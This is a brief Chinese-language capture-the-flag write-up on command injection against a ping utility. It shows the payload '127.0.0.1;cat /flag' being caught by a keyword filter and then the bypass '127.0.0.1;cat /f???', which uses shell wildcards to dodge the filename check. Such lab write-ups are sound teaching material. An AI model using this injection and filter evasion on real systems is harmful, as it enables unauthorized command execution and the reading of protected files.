目标文件名绕过

过滤目标文件

使用通配符 ?, *代替文件名中的字符

思路

这里输入 127.0.0.1 时，输出

PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.033 ms
64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.064 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.033/0.048/0.064 ms

系统检测到该设备处于在线状态      

尝试命令执行 127.0.0.1;cat /flag ，输出

服务器检测到可疑文件读取'flag'，启动了查杀程序😋      

根据总结的绕过方法不断尝试，最终

127.0.0.1;cat /f???

即可绕过，也可以尝试总结的其它办法